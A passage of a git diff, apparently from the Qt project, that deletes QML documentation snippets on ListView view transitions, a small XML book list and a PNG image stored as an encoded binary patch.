SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -ListView { - width: 240; height: 320 - model: ListModel {} - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - } - - add: Transition { - NumberAnimation { property: "opacity"; from: 0; to: 1.0; duration: 400 } - NumberAnimation { property: "scale"; from: 0; to: 1.0; duration: 400 } - } - -//! [0] - displaced: Transition { - id: dispTrans - SequentialAnimation { - PauseAnimation { - duration: (dispTrans.ViewTransition.index - - dispTrans.ViewTransition.targetIndexes[0]) * 100 - } - ParallelAnimation { - NumberAnimation { - property: "x"; to: dispTrans.ViewTransition.item.x + 20 - easing.type: Easing.OutQuad - } - NumberAnimation { - property: "y"; to: dispTrans.ViewTransition.item.y + 50 - easing.type: Easing.OutQuad - } - } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: Easing.OutBounce } - } - } - -//! [0] - - focus: true - Keys.onSpacePressed: model.insert(0, { "name": "Item " + model.count }) -} - - diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-interruptedgood.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-interruptedgood.qml deleted file mode 100644 index 0644caa..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-interruptedgood.qml +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -ListView { - width: 240; height: 320 - model: ListModel {} - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - } - - add: Transition { - NumberAnimation { property: "opacity"; from: 0; to: 1.0; duration: 400 } - NumberAnimation { property: "scale"; from: 0; to: 1.0; duration: 400 } - } - -//! [0] - displaced: Transition { - NumberAnimation { properties: "x,y"; duration: 400; easing.type: Easing.OutBounce } - - // ensure opacity and scale values return to 1.0 - NumberAnimation { property: "opacity"; to: 1.0 } - NumberAnimation { property: "scale"; to: 1.0 } - } -//! [0] - - focus: true - Keys.onSpacePressed: model.insert(0, { "name": "Item " + model.count }) -} diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-pathanim.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-pathanim.qml deleted file mode 100644 index 4b16857..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-pathanim.qml +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -ListView { - width: 240; height: 320 - model: ListModel {} - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - } - -//! [0] - add: Transition { - id: addTrans - NumberAnimation { property: "opacity"; from: 0; to: 1.0; duration: 400 } - NumberAnimation { property: "scale"; from: 0; to: 1.0; duration: 400 } - - PathAnimation { - duration: 1000 - path: Path { - startX: addTrans.ViewTransition.destination.x + 200 - startY: addTrans.ViewTransition.destination.y + 200 - PathCurve { relativeX: -100; relativeY: -50 } - PathCurve { relativeX: 50; relativeY: -150 } - PathCurve { - x: addTrans.ViewTransition.destination.x - y: addTrans.ViewTransition.destination.y - } - } - } - } -//! [0] - - displaced: Transition { - id: dispTrans - SequentialAnimation { - PauseAnimation { - duration: (dispTrans.ViewTransition.index - - dispTrans.ViewTransition.targetIndexes[0]) * 100 - } - ParallelAnimation { - NumberAnimation { - property: "x"; to: dispTrans.ViewTransition.item.x + 20 - easing.type: Easing.OutQuad - } - NumberAnimation { - property: "y"; to: dispTrans.ViewTransition.item.y + 50 - easing.type: Easing.OutQuad - } - } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: Easing.OutBounce } - } - } - - focus: true - Keys.onSpacePressed: model.insert(0, { "name": "Item " + model.count }) -} - - - diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactionbad.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactionbad.qml deleted file mode 100644 index 0e7d1e8..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactionbad.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//! [0] -ListView { - width: 240; height: 320 - model: ListModel { - Component.onCompleted: { - for (var i=0; i<8; i++) - append({"name": i}) - } - } - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - objectName: name - } - - move: Transition { - id: moveTrans - SequentialAnimation { - ColorAnimation { property: "color"; to: "yellow"; duration: 400 } - NumberAnimation { properties: "x,y"; duration: 800; easing.type: Easing.OutBack } - ScriptAction { script: moveTrans.ViewTransition.item.color = "lightsteelblue" } - } - } - - displaced: Transition { - NumberAnimation { properties: "x,y"; duration: 400; easing.type: Easing.OutBounce } - } - - focus: true - Keys.onSpacePressed: model.move(5, 1, 3) -} -//! [0] - diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactiongood.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactiongood.qml deleted file mode 100644 index 7fa7e48..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactiongood.qml +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -ListView { - width: 240; height: 320 - model: ListModel { - Component.onCompleted: { - for (var i=0; i<8; i++) - append({"name": i}) - } - } - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - objectName: name - } - -//! [0] - move: Transition { - id: moveTrans - SequentialAnimation { - ColorAnimation { property: "color"; to: "yellow"; duration: 400 } - NumberAnimation { properties: "x,y"; duration: 800; easing.type: Easing.OutBack } - //ScriptAction { script: moveTrans.ViewTransition.item.color = "lightsteelblue" } BAD! - - PropertyAction { property: "color"; value: "lightsteelblue" } - } - } -//! [0] - - displaced: Transition { - NumberAnimation { properties: "x,y"; duration: 400; easing.type: Easing.OutBounce } - } - - focus: true - Keys.onSpacePressed: model.move(5, 1, 3) -} - - diff --git a/doc/src/snippets/qml/xmlrole.xml b/doc/src/snippets/qml/xmlrole.xml deleted file mode 100644 index c9f999e..0000000 --- a/doc/src/snippets/qml/xmlrole.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - C++ GUI Programming with Qt 4 - 2006 - Jasmin Blanchette - Mark Summerfield - - - Programming with Qt - 2002 - Matthias Kalle Dalheimer - - diff --git a/src/qml/doc/images/3d-rotation-axis.png b/src/qml/doc/images/3d-rotation-axis.png deleted file mode 100644 index b9402156f07fd26d14dcf086f06737637f69552f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11078 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 